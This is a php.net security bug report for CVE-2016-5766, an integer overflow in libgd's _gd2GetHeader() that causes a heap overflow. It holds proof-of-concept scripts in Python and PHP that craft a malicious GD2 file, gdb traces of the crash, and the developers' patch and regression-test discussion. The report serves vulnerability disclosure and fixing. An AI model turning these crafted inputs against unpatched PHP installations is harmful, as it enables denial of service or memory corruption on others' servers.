php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #72339 Integer Overflow in _gd2GetHeader() resulting in heap overflow
Submitted: 2016-06-05 23:49 UTC Modified: 2016-06-23 12:33 UTC
From: gogil at stealien dot com Assigned: pajoye (profile)
Status: Closed Package: GD related
PHP Version: 5.5.36 OS:
Private report: No CVE-ID: 2016-5766
Welcome back! If you're the original bug submitter, here's where you can edit the bug or add additional notes.
If you forgot your password, you can retrieve your password here.
Password:
Status:
Package:
Bug Type:
Summary:
From: gogil at stealien dot com
New email:
PHP Version: OS:

 

 [2016-06-05 23:49 UTC] gogil at stealien dot com
Description:
------------
The _gd2GetHeader() is prone to an integer overflow, which result in heap based overflow.


------------------------ poc.py ------------------------
from struct import pack

gd2_header = (
	"gd2\x00" +
	pack(">H", 2) +
	pack(">H", 1) +
	pack(">H", 1) +
	pack(">H", 0x40) +
	pack(">H", 2) +
	pack(">H", 0x5B00) +   # Chunks Wide
	pack(">H", 0x5B00)     # Chunks Vertically
)

overflow_data = "\x41\x41\x41\x41" * 0x1000000

open("poc.gd", "wb").write(gd2_header + overflow_data)
---------------------------------------------------------


------------------------ poc.php ------------------------
<?php imagecreatefromgd2("poc.gd"); ?>
---------------------------------------------------------


/php$ gdb -q --args ./php-5.6.22/sapi/cli/php poc.php
Reading symbols from /php/php-5.6.22/sapi/cli/php...done.
(gdb) b gd_gd2.c:139
Breakpoint 1 at 0x570869: file /php/php-5.6.22/ext/gd/libgd/gd_gd2.c, line 139.
(gdb) r
Starting program: /php/./php-5.6.22/sapi/cli/php poc.php

Breakpoint 1, gd2GetHeader (in=0x7ffff7fd0ac0, sx=0x7fffffffa520, 
sy=0x7fffffffa524, cs=0x7fffffffa530, vers=0x7fffffffa534, 
fmt=0x7fffffffa538, ncx=0x7fffffffa528, ncy=0x7fffffffa52c, 
chunkIdx=0x7fffffffa540) at /php/php-5.6.22/ext/gd/libgd/gdgd2.c:139
139 nc = (*ncx) * (*ncy); <---------- ncx(Chunks wide) is 0x5b00, ncy(Chunks high) is 0x5b00
<---------- As a result, 'nc' is 0x20590000.

(gdb) x/xw ncx
0x7fffffffa528: 0x00005b00
(gdb) x/xw ncy
0x7fffffffa52c: 0x00005b00
(gdb) n
141 sidx = sizeof(t_chunk_info) * nc; <---------- sizeof(t_chunk_info) is 0x8.
<---------- The result of the multiplication can overflow.

(gdb) n
142 if (sidx <= 0) {
(gdb) n
145 cidx = gdCalloc(sidx, 1); <---------- gdCalloc() call will allocate a buffer too small to contain the chunk entries.
(gdb) info locals
sidx = 46661632 (0x2C80000)
nc = 542703616 (0x20590000)
...
(gdb) n
146 for (i = 0; i < nc; i++) {
(gdb) n
145 cidx = gdCalloc(sidx, 1);
(gdb) n
146 for (i = 0; i < nc; i++) {
(gdb) n
147 if (gdGetInt(&cidx[i].offset, in) != 1) { <---------- It cause heap overflow
(gdb) n
151 if (gdGetInt(&cidx[i].size, in) != 1) {
(gdb) n


Test script:
---------------
$ python poc.py
$ ls
poc.gd poc.php
$ cat poc.php
<?php imagecreatefromgd2("poc.gd"); ?>
$ php poc.php


Actual result:
--------------
/php$ gdb -q --args ./php-5.6.22/sapi/cli/php poc.php
Reading symbols from /php/php-5.6.22/sapi/cli/php...done.
(gdb) r
Starting program: /php/./php-5.6.22/sapi/cli/php poc.php

Program received signal SIGSEGV, Segmentation fault.
php_gd_gdGetInt (result=result@entry=0x7ffff6116000, 
    ctx=ctx@entry=0x7ffff7fd0ac0) at /php/php-5.6.22/ext/gd/libgd/gd_io.c:103
103		*result = r << 24;
(gdb) bt
#0  php_gd_gdGetInt (result=result@entry=0x7ffff6116000, 
    ctx=ctx@entry=0x7ffff7fd0ac0) at /php/php-5.6.22/ext/gd/libgd/gd_io.c:103
#1  0x00000000005708b0 in _gd2GetHeader (in=0x7ffff7fd0ac0, 
    sx=<optimized out>, sy=0x7fffffffa524, cs=0x7fffffffa530, 
    vers=<optimized out>, fmt=<optimized out>, ncx=0x7fffffffa528, 
    ncy=0x7fffffffa52c, chunkIdx=0x7fffffffa540)
    at /php/php-5.6.22/ext/gd/libgd/gd_gd2.c:147
#2  0x0000000000571139 in _gd2CreateFromFile (cidx=0x7fffffffa540, 
    ncy=0x7fffffffa52c, ncx=0x7fffffffa528, fmt=0x7fffffffa538, 
    vers=0x7fffffffa534, cs=0x7fffffffa530, sy=0x7fffffffa524, 
    sx=0x7fffffffa520, in=0x7ffff7fd0ac0)
    at /php/php-5.6.22/ext/gd/libgd/gd_gd2.c:175
#3  php_gd_gdImageCreateFromGd2Ctx (in=in@entry=0x7ffff7fd0ac0)
    at /php/php-5.6.22/ext/gd/libgd/gd_gd2.c:275
#4  0x0000000000571626 in php_gd_gdImageCreateFromGd2 (inFile=<optimized out>)
    at /php/php-5.6.22/ext/gd/libgd/gd_gd2.c:238
#5  0x00000000005680c5 in _php_image_create_from (ht=<optimized out>, 
    return_value=0x7ffff7fcfe78, image_type=9, tn=0xb30560 "GD2", 
    func_p=0x571610 <php_gd_gdImageCreateFromGd2>, 
    ioctx_func_p=<optimized out>, return_value_used=<optimized out>, 
    this_ptr=<optimized out>, return_value_ptr=<optimized out>)
    at /php/php-5.6.22/ext/gd/gd.c:2456
#6  0x000000000079db2e in zend_do_fcall_common_helper_SPEC (
---Type <return> to continue, or q <return> to quit---
    execute_data=<optimized out>) at /php/php-5.6.22/Zend/zend_vm_execute.h:558
#7  0x00000000007326a8 in execute_ex (execute_data=0x7ffff7f9b0c0)
    at /php/php-5.6.22/Zend/zend_vm_execute.h:363
#8  0x00000000006f93b0 in zend_execute_scripts (type=type@entry=8, 
    retval=retval@entry=0x0, file_count=file_count@entry=3)
    at /php/php-5.6.22/Zend/zend.c:1341
#9  0x0000000000696d82 in php_execute_script (
    primary_file=primary_file@entry=0x7fffffffcb50)
    at /php/php-5.6.22/main/main.c:2613
#10 0x000000000079f79f in do_cli (argc=2, argv=0xee9450)
    at /php/php-5.6.22/sapi/cli/php_cli.c:994
#11 0x0000000000427610 in main (argc=2, argv=0xee9450)
    at /php/php-5.6.22/sapi/cli/php_cli.c:1378
(gdb) 


Patches

72339.txt (last revision 2016-06-06 06:49 UTC by pajoye@php.net)

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2016-06-06 06:44 UTC] pajoye@php.net
-Status: Open +Status: Feedback
 [2016-06-06 06:44 UTC] pajoye@php.net
Thanks for the detailed report!

--- a/ext/gd/libgd/gd_gd2.c
+++ b/ext/gd/libgd/gd_gd2.c
@@ -143,6 +143,12 @@ static int _gd2GetHeader(gdIOCtxPtr in, int *sx, int *sy, int *cs, int *vers, in
                        goto fail1;
                }
                cidx = gdCalloc(sidx, 1);
+               if (cidx == NULL) {
+                       goto fail1;
+               }
+               if (overflow2(sidx, nc)) {
+                       goto fail1;
+               }
                for (i = 0; i < nc; i++) {
                        if (gdGetInt(&cidx[i].offset, in) != 1) {
                                gdFree(cidx);

Should do it.

I did not tweak the values to see if non overflowed values can still be used to trick the reader but it looks like not.

@RMs that should be applied to 5.5+ if you all agree. We also need a CVE.
 [2016-06-06 06:47 UTC] pajoye@php.net
Litle mistake (still fix it but the flow is wrong), the overflow2 check should obviously be done before the multiplication earlier. The other check was missing too (if gdCalloc fails, not an issue with PHP tho' as the memory manager will bail out).
 [2016-06-06 06:49 UTC] pajoye@php.net
The following patch has been added/updated:

Patch Name: 72339.txt
Revision:   1465195780
URL:        https://bugs.php.net/patch-display.php?bug=72339&patch=72339.txt&revision=1465195780
 [2016-06-06 06:50 UTC] pajoye@php.net
Patch attached.
 [2016-06-18 15:47 UTC] gogil at stealien dot com
-: gwgo at stealien dot com +: gogil at stealien dot com -Status: Feedback +Status: Open -PHP Version: 5.6.22 +PHP Version: Irrelevant
 [2016-06-18 15:47 UTC] gogil at stealien dot com
I don't have permission to read your patch.
 [2016-06-18 18:17 UTC] ab@php.net
Verified and pushed as 7722455726bec8c53458a32851d2a87982cf0eac into the security repo.

Thanks.
 [2016-06-19 04:07 UTC] stas@php.net
-PHP Version: Irrelevant +PHP Version: 5.5.36
 [2016-06-19 04:10 UTC] stas@php.net
-Assigned To: +Assigned To: pajoye
 [2016-06-21 04:55 UTC] stas@php.net
git complains about ext/gd/tests/bug72339.gd:
remote: warning: GH001: Large files detected. You may want to try Git Large File Storage - https://git-lfs.github.com.
remote: warning: See http://git.io/iEPt8g for more information.
remote: warning: File ext/gd/tests/bug72339.gd is 64.00 MB; this is larger than GitHub's recommended maximum file size of 50.00 MB

Can we change it?
 [2016-06-21 05:08 UTC] gogil at stealien dot com
Please use it.

------------------------ poc.py ------------------------
from struct import pack

gd2_header = (
	"gd2\x00" +
	pack(">H", 2) +
	pack(">H", 1) +
	pack(">H", 1) +
	pack(">H", 0x40) +
	pack(">H", 2) +
	pack(">H", 0x5AA0) +   # Chunks Wide
	pack(">H", 0x5B00)     # Chunks Vertically
)

overflow_data = "\x41\x41\x41\x41" * 0x800000

open("bug72339.gd", "wb").write(gd2_header + overflow_data)
---------------------------------------------------------
 [2016-06-21 06:48 UTC] stas@php.net
Automatic comment on behalf of pajoye
Revision: http://git.php.net/?p=php-src.git;a=commit;h=7722455726bec8c53458a32851d2a87982cf0eac
Log: Fixed #72339 Integer Overflow in _gd2GetHeader() resulting in heap overflow
 [2016-06-21 06:49 UTC] stas@php.net
-Status: Assigned +Status: Closed
 [2016-06-21 06:56 UTC] ab@php.net
We probably need to rewrite this chunk in PHP and create the file dynamically. 33mb is still too big.

Thanks.
 [2016-06-21 07:03 UTC] stas@php.net
Automatic comment on behalf of pajoye
Revision: http://git.php.net/?p=php-src.git;a=commit;h=7722455726bec8c53458a32851d2a87982cf0eac
Log: Fixed #72339 Integer Overflow in _gd2GetHeader() resulting in heap overflow
 [2016-06-21 07:26 UTC] stas@php.net
Automatic comment on behalf of pajoye
Revision: http://git.php.net/?p=php-src.git;a=commit;h=7722455726bec8c53458a32851d2a87982cf0eac
Log: Fixed #72339 Integer Overflow in _gd2GetHeader() resulting in heap overflow
 [2016-06-21 07:27 UTC] stas@php.net
Automatic comment on behalf of pajoye
Revision: http://git.php.net/?p=php-src.git;a=commit;h=7722455726bec8c53458a32851d2a87982cf0eac
Log: Fixed #72339 Integer Overflow in _gd2GetHeader() resulting in heap overflow
 [2016-06-21 08:31 UTC] gogil at stealien dot com
rewrite in php

------------------------ poc.php ------------------------
<?php
$filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . "bug72339.gd";

$Gd2Head = "\x67\x64\x32\x00\x00\x02\x00\x01\x00\x01\x00\x40\x00\x02\x5A\xA0\x5B\x00";
$OverflowData = str_repeat("\x41\x41\x41\x41", 0x800000);

$fp = fopen($filename, "wb");
fwrite($fp, $Gd2Head);
fwrite($fp, $OverflowData);
fclose($fp);

imagecreatefromgd2($filename);

@unlink($filename);
?>
---------------------------------------------------------
 [2016-06-21 09:44 UTC] ab@php.net
I removed the big test file, it's now generated on the fly in the test.

Thanks.
 [2016-06-21 09:45 UTC] ab@php.net
@gogil, oh, thanks :) Haven't seen that, already pushed another version. Nevertheless.

Cheers.
 [2016-06-22 05:58 UTC] krakjoe@php.net
Automatic comment on behalf of pajoye
Revision: http://git.php.net/?p=php-src.git;a=commit;h=7722455726bec8c53458a32851d2a87982cf0eac
Log: Fixed #72339 Integer Overflow in _gd2GetHeader() resulting in heap overflow
 [2016-06-23 12:33 UTC] kaplan@php.net
-CVE-ID: +CVE-ID: 2016-5766
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Thu Nov 21 14:01:29 2024 UTC